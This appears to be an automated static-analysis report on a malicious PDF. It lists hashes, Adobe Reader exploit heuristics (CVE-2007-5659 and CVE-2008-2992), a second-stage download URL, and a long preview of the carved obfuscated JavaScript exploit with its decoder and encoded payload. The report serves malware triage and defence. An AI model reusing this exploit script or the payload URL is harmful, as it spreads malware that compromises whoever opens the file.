Malicious PDF — malware analysis report

Static analysis result for SHA-256 f7e0161977754822…

MALICIOUS

PDF

17.5 KB Created: 2009-07-23 09:35:06 Authoring application: ooCZ5T1m (via roUkpCs) First seen: 2012-07-12
MD5: 4f21e0f029e41f467e74b936cb3ca2c8 SHA-1: ed4cd660e94498d7065a4bc65f07ad57d4ab1ce6 SHA-256: f7e01619777548221e1e5c74bafc9ee4a50492cc86dd5e226e8832cfde534736
498 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_EVAL'. The ClamAV detection 'Js.Trojan.Obfus-48' strongly suggests malicious JavaScript. The JavaScript stream is obfuscated, and the 'PDF_EVAL' firing points to the execution of this obfuscated code. The likely intent is to download and execute a secondary payload, as is common with such obfuscated JavaScript in PDFs.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Trojan.Obfus-48 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Trojan.Obfus-48
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                    eval(MnIbcKa);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grasma.com/spl6/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x225 16616 bytes
SHA-256: f3ff4fc93d31470324c5bee2c0c727382ce2be7be884ec8afdb3294cff2d7e74
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var DcV6l7Q="";
                                var MnIbcKa="";
                                function vQCcBFP( vIwqsUH6Fyi ) {
                                    var Ett8oF2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                                    var GXAdebhwOzX1J, gaYRDkg, fzWX7Ln9Rfg, qKCzGay, JER5aEC2ttdCDp, lQ0H2REsK, FPy99s, OKAwZNyT, YfURqxr1Ft = DlmDvCB5K = 0, lhOLex = "", KQACDO9QZ = [];
                                    vIwqsUH6Fyi += "";
                                    do {
                                        qKCzGay = Ett8oF2.indexOf(vIwqsUH6Fyi.charAt(YfURqxr1Ft++));
                                        JER5aEC2ttdCDp = Ett8oF2.indexOf(vIwqsUH6Fyi.charAt(YfURqxr1Ft++));
                                        lQ0H2REsK = Ett8oF2.indexOf(vIwqsUH6Fyi.charAt(YfURqxr1Ft++));
                                        FPy99s = Ett8oF2.indexOf(vIwqsUH6Fyi.charAt(YfURqxr1Ft++));
                                        OKAwZNyT = qKCzGay<<18 | JER5aEC2ttdCDp<<12 | lQ0H2REsK<<6 | FPy99s;
                                        GXAdebhwOzX1J = OKAwZNyT>>16 & 0xff;
                                        gaYRDkg = OKAwZNyT>>8 & 0xff;
                                        fzWX7Ln9Rfg = OKAwZNyT & 0xff;
                                        if (lQ0H2REsK == 64) {
                                            KQACDO9QZ[DlmDvCB5K++] = String.fromCharCode(GXAdebhwOzX1J);
                                        } else if (FPy99s == 64) {
                                            KQACDO9QZ[DlmDvCB5K++] = String.fromCharCode(GXAdebhwOzX1J, gaYRDkg);
                                        } else {
                                            KQACDO9QZ[DlmDvCB5K++] = String.fromCharCode(GXAdebhwOzX1J, gaYRDkg, fzWX7Ln9Rfg);
                                        }
                                    } while (YfURqxr1Ft < vIwqsUH6Fyi.length);
                                    lhOLex = KQACDO9QZ.join("");
                                    lhOLex = kQzE7TfxRWx(lhOLex);
                                    return lhOLex;
                                }
                                function kQzE7TfxRWx ( GXAdebhwOzX1J ) {
                                    var gaYRDkg = [], fzWX7Ln9Rfg = qKCzGay = vIwqsUH6Fyi = JER5aEC2ttdCDp = lQ0H2REsK = 0;
                                    GXAdebhwOzX1J += "";
                                    while ( fzWX7Ln9Rfg < GXAdebhwOzX1J.length ) {
                                        vIwqsUH6Fyi = GXAdebhwOzX1J.charCodeAt(fzWX7Ln9Rfg);
                                        if (vIwqsUH6Fyi < 128) {
                                            gaYRDkg[qKCzGay++] = String.fromCharCode(vIwqsUH6Fyi);
                                            fzWX7Ln9Rfg++;
                                        } else if ((vIwqsUH6Fyi > 191) && (vIwqsUH6Fyi < 224)) {
                                            JER5aEC2ttdCDp = GXAdebhwOzX1J.charCodeAt(fzWX7Ln9Rfg+1);
                                            gaYRDkg[qKCzGay++] = String.fromCharCode(((vIwqsUH6Fyi & 31) << 6) | (JER5aEC2ttdCDp & 63));
                                            fzWX7Ln9Rfg += 2;
                                        } else {
                                            JER5aEC2ttdCDp = GXAdebhwOzX1J.charCodeAt(fzWX7Ln9Rfg+1);
                                            lQ0H2REsK = GXAdebhwOzX1J.charCodeAt(fzWX7Ln9Rfg+2);
                                            gaYRDkg[qKCzGay++] = String.fromCharCode(((vIwqsUH6Fyi & 15) << 12) | ((JER5aEC2ttdCDp & 63) << 6) | (lQ0H2REsK & 63));
                                            fzWX7Ln9Rfg += 3;
                                        }
                                    }
                                    return gaYRDkg.join("");
                                }

                DcV6l7Q= vQCcBFP("Wm5WdVkzUnBiMjRnVWtkdFVVNDJURWRpYnpsaEtHZENUVVZLY0RONUtYc2djbVYwZFhKdUlGTjBjbWx1WjFzblpuSnZiVU5vWVhKRGIyUmxKMTBvWjBKTlJVcHdNM2twTzMwZ1puVnVZM1JwYjI0Z1oyWmFSRkJQYVU4MVRHUjROWG9vWVcxUVFuTmlLWHNnZG1GeUlIbzVVMjVsYm5WelRGQjFObEYzUFRBc0lFZFpRMXBFUFdGdFVFSnpZaTVzWlc1bmRHZ3NJSGx6T0c5WVp6SjNObXRMUVRjOU1UQXlOQ3dnU1VGNGEwbHFMQ0JSWTJ4NmFFdERSMWdzSUhsUVVuZDNPVDBuSnl3Z1YwUnBSRTl2UTFaNk1FZEpkRDE2T1ZOdVpXNTFjMHhRZFRaUmR5d2diVlpEYlVOWWVWUTFTV0pWUFhvNVUyNWxiblZ6VEZCMU5sRjNMQ0J0VW5OV1N6ZEZXVlV6UFhvNVUyNWxiblZ6VEZCMU5sRjNMQ0J3TW5SSVNqMUJjbkpoZVNnMk15dzRMREl5TERNMkxEUTJMREkwTERjc05EZ3NORGNzTXl3d0xEQXNNQ3d3TERBc01DdzBNaXd6TVN3eU15d3pOeXd5Tnl3MU1DdzBOU3cwTUN3eE15d3pNeXcxTlN3ek1Dd3lOaXcxT1N3MU1TdzFOeXcwTVN3Mk1pd3pPQ3c1TERJeExESXdMREV5TERBc01UY3NNVFlzTlRZc01Dd3dMREFzTUN3eU9Td3dMREUwTERFNExEWXdMRE15TERFMUxERXdMREkxTERRekxEVXpMREk0TERFeExEVXNNU3d6T1N3Mk1TdzFNaXd4T1N3ME9TdzFPQ3d6TkN3ek5TdzBMRFUwTERRMExEWXNNaWs3SUdadmNpaFJZMng2YUV0RFIxZzlUV0YwYUM1alpXbHNLRWRaUTFwRUwzbHpPRzlZWnpKM05tdExRVGNwTzFGamJIcG9TME5IV0Q1Nk9WTnVaVzUxYzB4UWRUWlJkenRSWTJ4NmFFdERSMWd0TFNsN0lHWnZjaWhKUVhoclNXbzlUV0YwYUM1dGFXNG9SMWxEV2tRc2VYTTRiMWhuTW5jMmEwdEJOeWs3U1VGNGEwbHFQbm81VTI1bGJuVnpURkIxTmxGM08wbEJlR3RKYWkwdExFZFpRMXBFTFMwcGV5QnRVbk5XU3pkRldWVXpmRDBvY0RKMFNFcGJZVzFRUW5OaUxtTm9ZWEpEYjJSbFFYUW9WMFJwUkU5dlExWjZNRWRKZENzcktTMDBPRjBwUER4dFZrTnRRMWg1VkRWSllsVTdJR2xtS0cxV1EyMURXSGxVTlVsaVZTbDdJSGxRVW5kM09TczlVa2R0VVU0MlRFZGliemxoS0RJMU0xNXRVbk5XU3pkRldWVXpKakkxTlNrN0lHMVNjMVpMTjBWWlZUTStQajA0T3lCdFZrTnRRMWg1VkRWSllsVXRQVEk3SUgwZ1pXeHpaU0I3SUcxV1EyMURXSGxVTlVsaVZUMDJPeUI5SUgwZ2ZTQmxkbUZzS0hsUVVuZDNPU2s3SUgwZ1oyWmFSRkJQYVU4MVRHUjROWG9vSjB4ek1VVlVSVWQ0VXpsV2RIRjBVSFZMUldkMU5USnZTalYxTlVWaGJuaE9OWFUxUldGdWVFNDFkVFZGWVc1NFRqVjFOVTVOZEUwNE5YVkhUbUYxWXpnMWRWcEZhMDFyY2pWMU5YSklNR3R5TlhVMWNraEtWazQxZFRFMFRYTjRUalYxTVRSbGJuaE9OWFV4TkRBMGF6ZzFkVEUwYkVwV1JUVjFXalJOZEdnNE5YVmFORTAwVFRRMWRUVnlNRUJqTkRWMU5UUk5VbFkwTlhVeE5FMTBUVFExZFZwRlUzVk5ORFYxTVRSaFRrMDBOWFV4Y2swMGFrVTFkVFZGWlRob1RqVjFNWEpOTkdwRk5YVmFSVnAwYUVVMWRURTBUWGQ0VGpWMU1UUk5kRTA0TlhWYVJWTjFUVFExZFZvNGRrcDRUalYxV2tWV1FuaEZOWFV4TkZaT2EwNDFkVFZPWmtwNFRqVjFNVFJOUlZaT05YVXhORTEwVFRRMWRURTRZelJqUlRWMVdqaDJkVTA0TlhWSFJXWkNlRVUxZFZwRk1VNVdUalYxTlU1bWRXdE9OWFV4TkUxRll6UTFkVEUwVFhSTk5EVjFNVGhqTkdORk5YVmFPSFoxYUVVMWRVYzRZeko0UlRWMU1VNUlkV00wTlhVMVRtWXdhalExZFRFMFRYZHFORFYxTVRSTmRFMDBOWFV4T0dNMFkwVTFkVm80ZG5Wb1RqVjFOVTVJUW5oRk5YVTFUazFSVms0MWRUVk9aa0pqTkRWMU1UUk5jMk00TlhVeE5FMTBUVFExZFRFNFl6UmpSVFYxV2poMk9FMDBOWFZhVGxveWVFVTFkVFZPWTJKalJUVjFOVTVtZFhoRk5YVXhORTFSVm5JMWRURTBUWFJOTkRWMU1UaGpOR05GTlhVeE9FMDBUVGcxZFRVMFpqaGpORFYxTVhKalVYZzROWFZhUld0T1ZrVTFkVm8wWms1ck9EVjFNVFJzU21ORk5YVXhORTEwYXpRMWRWbzRWblZOTkRWMU1YSmpOR05GTlhWYVJWTk5UVGcxZFRFME1FVnJPRFYxTVRSYU1sWkZOWFZhUlZNd1RVVTFkVm8wWmpCck9EVjFOVTVtTUd0eU5YVXhORTAwYWtVMWRURTBUWFJOTkRWMU5YSm1NRTAwTlhWYU5ERnVhM0kxZFRGeVRYTkVUalYxUjBWc1NuaEZOWFV4TkUxMFRUUTFkVnBGYTNWTk5EVjFXalJoVG1zNE5YVmFUbU0wYWtVMWRWcE9UVFI0T0RWMVdrVnJNRTAwTlhWSE9FMUZhemcxZFRGT1NFSjRSVFYxTVRSTmRFMDBOWFZhT0UxMFRUUTFkVEU0WXpScVJUVjFOWEl4T0UwNE5YVmFPR3QxUkRRMWRWbzRZelJxUlRWMU5VNW1PR2hGTlhVeE5FMHlWalExZFRFMFRYUk5ORFYxTVRoamRHZzROWFZhVG14TlRUUTFkVm80WVhWTk5EVjFSemhXY1ZaT05YVmFUbXhDVmpnMWRURTBNRVZOTkRWMU5YSmpZbmhGTlhVeE5FMTBUVFExZFRGeVkwVnFUalYxV2tWVFRVMDBOWFV4TkdGT2F6ZzFkVEUwV2pKV1JUVjFXa1ZUTUUxRk5YVmFOR1l3YXpnMWRURTRUWGQ0UlRWMU1UUk5kRTAwTlhVMWNqRjFUVFExZFZvNFpuVkVjalYxTVRoamRHZzROWFUxTkZGelRUZzFkVm80VVhOcVJUVjFNVTVJTUdnNE5YVkhPRTFpVmpnMWRWbzRVVkZOTkRWMU1UaGpOR3BGTlhVMWNqRTRhRTQxZFZvNGEzVnJPRFYxV2poak5HcEZOWFUxVG1ZNGFFVTFkVEUwVFhOb09EVjFNVFJOZEUwME5YVXhORTB5VmtVMWRURnlZMFZxVGpWMVdrVlRUVTAwTlhVeE5HWk9hemcxZFRFMFR6SldSVFYxV2tWVE1FMUZOWFZhTkdZd2F6ZzFkVm8wVFhkNFJUVjFNVFJOZEUwME5YVTFjakYxVFRRMWRWcEZVMDVxVGpWMVdqUk5SV3M0TlhVeE5Gb3lWa1UxZFZwRlV6Qk5SVFYxV2pSbU1HczROWFV4TkUxM2VFVTFkVEUwVFhSTk5EVjFNVGhhZEUwME5YVmFPRTlSUkVVMWRUVk9XblJvT0RWMU5VNWFkR2c0TlhVMVRscDBhRGcxZFRWT1duUm9PRFYxTlU1aE9IZzROWFZhT0RGMVRUZzFkVnBGVXpCb09EVjFOVTVQYzFaRk5YVmFPRTlGYW5JMWRUVk9UVVZxVGpWMVdrVlRNR3M0TlhWYVJWTktlRTQxZFRFMFpuRmpUalYxV2pobE9HcEZOWFZhT0haMWFFNDFkVEZ5VVRScVJUVjFXa1ZUYm1oT05YVmFORlp4WXpnMWRURTBVV0o0UlRWMVdqaDJUbmc0TlhVeGNuWTRha1UxZFRFMFVYTk5ORFYxTlRSUlJYZzROWFV4T0dzd1kwVTFkVFZGWlU1ck5EVjFXazVSZEdnNE5YVTFORkZSYTNJMWRURTBTRTVXY2pWMVdqUk5kRlpPTlhVeFRrOVNhMFUxZFRFMFpuRmpPRFYxV2s1V01GWTBOWFV4TkZGMFRVNDFkVEU0VFVWcU5EVjFNVTVhZDJwRk5YVXhUbFp1UkVVMWRURnlZMUZyVGpWMVdqZ3hTbFk0TlhVMVRsTTRha1UxZFZvNE1UaHFSVFYxTVRSUmMwMDROWFUxY25aTlkwNDFkVEUwWVRocVJUVjFXa1ZUVGtSRk5YVmFOR0V3YTBVMWRVZE9aWFZvT0RWMU1UUXdOR3BGTlhVeE5GRTBha1UxZFZvNFZqQldPRFYxV2s1UFVVMU9OWFV4TkUxMGFFVTFkVEZPTUhkNFJUVjFNVTVJVGxaT05YVmFPR05GYWs0MWRURTRZVEJFTkRWMU1UaElUazFPTlhVeE5FMUZhMDQxZFVkRlV6aHFjalYxUjBWSWFHcEZOWFZhVGsxelZqZzFkVnBGWmpCak5EVjFXa1ZXYUdOT05YVmFSVTlBZUU0MWRWcE9XalJXVGpWMVdrVk5OSGhPTlhWYVRrMDBhalExZFVkRlNHaDRUalYxUjA1ck9IZzROWFZhUlZGUll6UTFkVnBGVmpoak5EVjFXazVhTkdwRk5YVmFSV3hvYWs0MWRUVk9TR2hxVGtGeFJuSmZPREZ1WlhkZmFHbDBjMmc0WWpWQVprSlFNMWQxV2pNMWMwZHVhbmN4VWxRd1NIY3hkMVk0U0U1cmR6RjNWamhJVGsxS1ZVUmpkR3BSTlVweGVsTTNaVXA0Y210RlQzVmZPRkJTVjJWVE16Sm9VSFV4UWxOMVJWSmpjRmgwVHpOTVVqVkRlV2cxUTFWNVUxSlVTa3hHUjFGemFIWlNRRVZVWms5d1dIUlBNMHhTTlVOdE9GQlNWVXBNUmtkUmMyaDJVa0JGVkdaUWFWZEtURVpIVVhOb2RsSkFSVlJtVUhKclJVOTFYMlZUTTBGUk1UZEdNbXRBT0ZGbVNWQkFha05pWVVaMU1WRlFkVk5STVVOeFFHZHBTRFp2VWt4aVJuSnJSVTkxWDAwMWRGVkFVemRHTW10QU9GRm1TVkJBYWtOaVlVWjFNVkZRZFZOUk1VTnhRR2RwU0RaZmFHbDBjMmc0WWpWQVprSlFNM0UyVTFKeFFHZDBWSHB2VWt4aVJuSm1NbE5EV0hSbmFXRlNNVU5NWVY4ek5XRlFVbE15VUdsRVFHYzNTRUphUlVoS2FrNUljVVoxVTJKUVVsZE5OWFJWUUZCcFlWSXhRMHhNYnpOWlVVOTFlVGd4Ym1WM1NHNWxVVEV6VjJWVFVtWjNTRGhsVVRGdWRqSklhWGs0VURObE1raERObnBxVG5seFQwbHRUbU5PU0VwNGNsVkxSMmt5Y1VaSmFsRmFkVmxNWmtNMmVtWTNZVkl4UTB4TVJsSmhkR3BEVm1aRVJWYzBNVzVsZDI4NE5HSjRRMDlGVXpNeVJWTjFUR0ptTjBGT1kwNTJNRVpwUVhGV2NuWnhWbkoyY1ZaeVFVUnZTblp4Vm5KMmNXTktNakJJY25aeFZuSkJSRzlLYkVKcWNteENhbkpzTUVacFFVSnFjbXhDYW5Kc1FtcHliRUpxY214Q2FuSnNRbXB5YkVKcWNteENhbkpzUW1weWJFSnFjbXd3Um1sQlFtcHliRUpxY214Q2FuSnNRbXB5YkVKcWNteENhbkpzUW1weWJFSnFjbXhDYW5Kc1FtcHliRUpxY214Q2FuSnNRbXB5YkVKcWNteENhbkpzUW1weWJFSnFjbXhDYW5Kc1FtcHliRUpxY214Q2FuSnNRbXB5YkVKcWNteENhbkpzUW1weWJFSnFjbXhDYW5Kc1FtcHliRUpxY214Q2FuSnNRbXB5YkVKcWNteENhbkpzUW1weWJFSnFjbXhDYW5Kc1FtcHliRUpxY214Q2FuSkJSRzlLYkVKcWNteENhbkpzUW1weWJFSnFjbXhDYW5Kc1FtcHliRUpxY214Q2FuSnNRbXB5YkVKcWNteENhbkpzUW1weWJFSnFjbXhDYW5KQlJHOUtiRUpxY214Q2FuSnNRbXB5YkVKcWNteENhbkpzUW1weWJFSnFjbXhDYW5Kc1FtcHliRUpxY214Q2FuSnNRbU5LTWpCZmNteENhbkpzUW1weWJFSnFjbXhDYW5KQlJHOUtiRUpxY214Q2FuSnNRbXB5YkVKcWNteENhbkpzUW1weWJEQkdhVUZDYW5Kc1FtcHliRUpxY214Q2FuSnNRbXB5UVVSV2RGTmlaek54U2xwMVZXRm5kRVF5YjBvMWJsWkZTRXBxVGtSUlgzQXdjMlp5TWxKcmJsbE1VMjVXUUZOUVZVUmpVakZoVUc1VFlsQXpjWGRmZURCaGEwVllkMnAxTjBWalFHdFJZMFZVY1Y5S2VYZHZkR3BSTlVveU1tWlNSMFZxTXpCM01VVTBkMGczWDJWVFVtWjNTRGhsVVRGdWRqSklhWGxLYjFJeFlWQnVVMkpRTTNGM1NFQkljVXhRVDFGRWFWWmlURUJqWWs5R1EySm5jRjkxYUVNeE5GQTBORXhFTTFCaVgwcDVkMFowVkdKbk16VjNYMmxXWWt4QVkySlBSa05pVDNCWWRFOHpURkkxUTBJd2FqZGFURk4wUkVCb2FIZDVaMEJWUkRGMU0xSm1PRlZMUkZCVmQwWnBWMHBJZFROU1pqaFZTMFJRVlV4V1pGOU9NVkJRUld0RFNqSm1RMTg1YWtwV1lreEFZMkpQUmtOaVQzQmhkRnB1WVZKYWRWVmhVRkpVU21wd1dreFRkRVJBYUdoM2VXZEFZakJXYVhsS2IzVTFVakYwWldGblNsWmlURUJqWWs5R1EySlFjbDg1TlVwRWRGb3pTMUl4UTJKaFowcFlZa1JPUmtWV1JqTkxablZZZVU4MFkweEVhVlZLUmtsZk9ERnVaWGRHTTJGTlkzVllVVWRHUUhkSU4xOUtha2xJVFdkT1MzZDRia2hOVUhKZk9ERnVaWGR2VWxsMGFFWkRNbWRvYUVWalVERlJlSFUwZDBnM1gzVmFNelZ6UjI1cWR6RlNWREJJZHpGU2VFNVRUVlozTVZKNFRsTk5WbmN4VW5oT1UwMVdkekYzWXpSYVVXdDNNWE40VGpFd2EzY3hOR05GVVdKV2R6RXlhazR3WWxaM01USnFUa2hPVm5jeGRFMDBZVTFXZHpGMFRVNVRUVlozTVhSTk9FMUZhM2N4ZEVSeVNIVldkekUwVFRSYWMydDNNVFJOTkUwMGEzY3hNbU00WmpocmR6RlNUVFJUZFd0M01YUk5ORm8wYTNjeE5HcEZXalJyZHpGMGFFNWpOR3QzTVdKak5HdHVWbmN4VW1OT1RYTldkekZpWXpScmJsWjNNVFJXTkZwQVZuY3hkRTAwU0UxV2R6RjBUVFJhVVd0M01UUnFSVm8wYTNjeFVXdHlTRTFXZHpFMFZrNXNhRlozTVhSclRtTkZWbmN4ZDNoRlNFMVdkekYwVFRSV1RsWjNNWFJOTkZvMGEzY3hSV3M0YXpoV2R6RlJhM0phVVd0M01VQjRSV3hvVm5jeE5GWkZWazVXZHpGM2VFVmFSVlozTVhSTk5GWTRhM2N4ZEUwMFdqUnJkekZGYXpock9GWjNNVkZyY2xwQVZuY3hjMnM0YkdoV2R6RkZhazR4T0d0M01YZDRSV1Z1YTNjeGRFMDBTRzVyZHpGMFRUUmFOR3QzTVVWck9HczRWbmN4VVd0eVduTldkekYzYWs1c2FGWjNNWGRqTkdWT1ZuY3hkM2hGYkRocmR6RjBUVFJoTUd0M01YUk5ORm8wYTNjeFJXczRhemhXZHpGUmEzSk5OR3QzTVZGV05HeG9WbmN4ZDFZNGRqaFdkekYzZUVVeGFGWjNNWFJOTkdWeFZuY3hkRTAwV2pScmR6RkZhemhyT0ZaM01VVk5ORTFSYTNjeFVtaEZhemhyZHpGaVZqaGxUV3QzTVRSalJWWjFWbmN4TkdoRlkwVnJkekYwUkhKSU9GWjNNWFJOTkZwMGEzY3hVV3RPV2pScmR6RmlWamhyT0ZaM01UUnFSVkZSYTNjeGRFMDRZMFZyZHpGMGF6UnNkVlozTVRScVJUQTBWbmN4TkdoRk1FVnJkekYzZUVVd1lsWjNNWFJOTkd0dVZuY3hkRTAwV2pScmR6RXllRVV3Tkd0M01UUnJSVTlpVm5jeFltTTBVWGRXZHpGQWFuSklhRlozTVhSTk5GbzBhM2N4TkdORldqUnJkekUwYUU1alJXdDNNVkZXT0d0dVZuY3hVV00wYTAxcmR6RTBZMFV3Tkd0M01YTk5OR05GYTNjeFJXcE9iR2hXZHpGMFRUUmFOR3QzTVZGTk5GbzBhM2N4UldzNGEyNVdkekV5VmtWTlVXdDNNVkZOUlZwU2EzY3hVV3M0YTI1V2R6RjNlRVZOUUZaM01YUk5OR3gxYTNjeGRFMDBXalJyZHpGRmF6aGFjMnQzTVZGcWNsRTBhM2N4VVdoT1dqUnJkekZ6YTA1MlRsWjNNVkZxY214T2EzY3hkRTA0WXpScmR6RXlWamgyYUZaM01YUk5ORm8wYTNjeFlsWTRWa3BXZHpFMGFrVlJOR3QzTVhSb1RtTkZhM2N4ZEdzMGJIVldkekUwYWtVd05GWjNNVFJvUlRCRmEzY3hSVTAwU0doV2R6RjBUVFJhTkd0M01USldSVm8wYTNjeFVXaEZXakpXZHpGRmF6aGFjMnQzTVZKb09GRlJhM2N4VVdnNFlXNVdkekZGYWs0d2MydDNNWE5OTkhaT2EzY3hVV2c0TURScmR6RkZhemhyYmxaM01USldSVTF6Vm5jeFVVMUZXa1ZyZHpGUmF6aHJibFozTVhkNFJVMUFWbmN4ZEUwMFVYTnJkekYwVFRSYU5HdDNNWFJOTkd4MVZuY3hZbFk0VmtwV2R6RTBha1ZSTkd0M01YUm9SV05GYTNjeGRFUTBiSFZXZHpFMGFrVXdORlozTVRSb1JUQkZhM2N4TkUwMFNHaFdkekYwVFRSYU5HdDNNVEpXUlZvMGEzY3hOR3BGVmtwV2R6RTBUVFJqUld0M01YUnJOR3gxVm5jeE5HcEZNRFJXZHpFMGFFVXdSV3QzTVhSTk5FaG9WbmN4ZEUwMFdqUnJkekZGYXpSYU5HdDNNVkZFTkRCU1ZuY3hkMVkwV25OcmR6RjNWalJhYzJ0M01YZFdORnB6YTNjeGQxWTBXbk5yZHpGM2VFNXJUV3QzTVZGclJWcFJhM2N4TkdwRk1ITnJkekYzYWpSaGRWWjNNVkZFTkZaQ1ZuY3hkMk0wVmtwV2R6RTBha1V3Uld0M01UUnFSVWhOVm5jeGRHaEZkakJXZHpGUlRVNXJibFozTVZGcmNscHpWbmN4WW5nNGEyNVdkekUwYWtWUGMxWjNNVFJyVG5Zd2EzY3hkR2c0ZG1oV2R6RlJhM0pXVFd0M01XSldjbXR1Vm5jeGRHZzRVVFJyZHpGU2FEaFdUV3QzTVVWTlJXVTRWbmN4VW1OT1kzUnJkekZSZURoYWMydDNNVkpvT0RCaVZuY3hkRVJPVm5GV2R6RTBUVFF4VGxaM01VVnFORTkwVm5jeGRHaEZkakJyZHpGUlZrNWxkV3QzTVhSb09GcFJWbmN4UlUwMFZtNXJkekZGVmpSSWJsWjNNVVZXVGs5U1ZuY3hZbFk0TUVWV2R6RlJhMFZJVG10M01YZHFSV3R1Vm5jeFVXdEZhMjVXZHpGMGFEaFJVV3QzTVRKV2NtRXdWbmN4ZEdoT2EyNVdkekUwYWtWalVsWjNNVFJvVGpCMFZuY3hjMk5PV25OcmR6RjBUVGhyYmxaM01YUm9PR3R1Vm5jeFVXdE9aVTVyZHpGUmFqUXdVVlozTVhSTk5GcEFWbmN4UldNNFNHaFdkekZGYWs1V1RsWjNNVkZyT0ZaS1ZuY3hSV2hPTUZKcmR6RkZSRTVqVVZaM01YUk5OR05GVm5jeE5GWnlZVGhyZHpGemFqUnJibFozTVVCNFRtVTRWbmN4TkhnNFprcFdkekZ6YWtWaGJrMUtWVVJxU210RlQzVmZNSE5PTnpSSE0ybzBhM2h3TkU5MVNqUkVNMTg1YWtwSVFqVkZTRXBxVGtoS2VISmZPREZ1WlhkSWRWcEFNWFZRUzBSS1YwcHZVbGwwYUVaRE1tZG9hRVZqVURGUmVIVTBZVjh6TldGUVVsTXlaMHBDU205T2VVcHZkR3BSTlVwYVRGTjBSRUJvYUhkNVowQmZPV3BLT0ZGV2VHdG1VMjVOZW10R1JGRmFSazE1WjBwWlNsOXBWblJvZEZaU2MwWXlTbXBKWVVKV2FYbEtiM1JxVVRWS1ZtSk1RR05pVDBaRFltZEtWMHBJZEhGMFVIVkxSV2QxTlRKdlNqVjFNWEpJY1dwT05YVXhja2h4YWs1QmNVWnlYMDR4VUZCRmEwTktNbVpEWHpscVNrZDNWbEJEVWswNFZFNHhVRkJGYTBOS01tWkRXRXBJTkRKMFdsSnpjMEJHV0ZKbWFYbEtiM1JxVVRWS1drdEhRRUZMVHpSUE5HdDFTR2hvT0RGS1NEZGZRa1l6WVUxamRWaFJSMFpBZDBod1gwcHFTVk5LYWs1SVNtcE9WV3R2YUdVNVRYUmlSVTgwTjJKTlVtVkxUVFJZVEdwS1JHWlBkVjlDYjNScVVUVktOWFJyZUhaM1FGSlVTMDlEUWxGUFFGZEtlSEkxZEd0NGRuZEFVbFJMVDBOQ1VVOUFiWFZOU1VCUlQwTk5VazAwVm5kNE5GRjBlSEkxZEd0NGRuZEFVbFJMVDBOQ1VVOUFNa1JJYVY5RU5Vb3lNbVpTUjBWcU16QjNNVVUwVEdaU1ducHJTVVpBWjBOQ1MwOURRVFJtUjE4NWFrcFdZa3hBWTJKUFJrTmlaMG95U205U1dYUm9Sa015WjJob1JXTlFNVkY0ZFRSTWFrcFhkMGhrWHpoVGRIRnpaM1JWWms4elgwUlFSamhBVms1S2QzTTBhMFJQZUVveVNHbGZSRFZLYTBWUGRWOXJhek5XYmxaU1ZrRk1TbGRLU0c1SWQxcHdhMkpUVW1aMFQzVm9kRTkxWVdKUU0zRmhYM1JpYzB4MFpXSlBNMHd5U0dsNVNrWjRXVVZxUlRWRlkxQmZPV3BLUlhwVFRsTjFVMDV1WVc5MU5YYzFNMnB6VTFKVWExOUhUMlpHVWxnd2IwcFZSR3BLYTBWUGRWOUtOWFZIWWxwU1p6Um9kVlY1VFZKVFNrZzNYMlZUVW1aM1NEa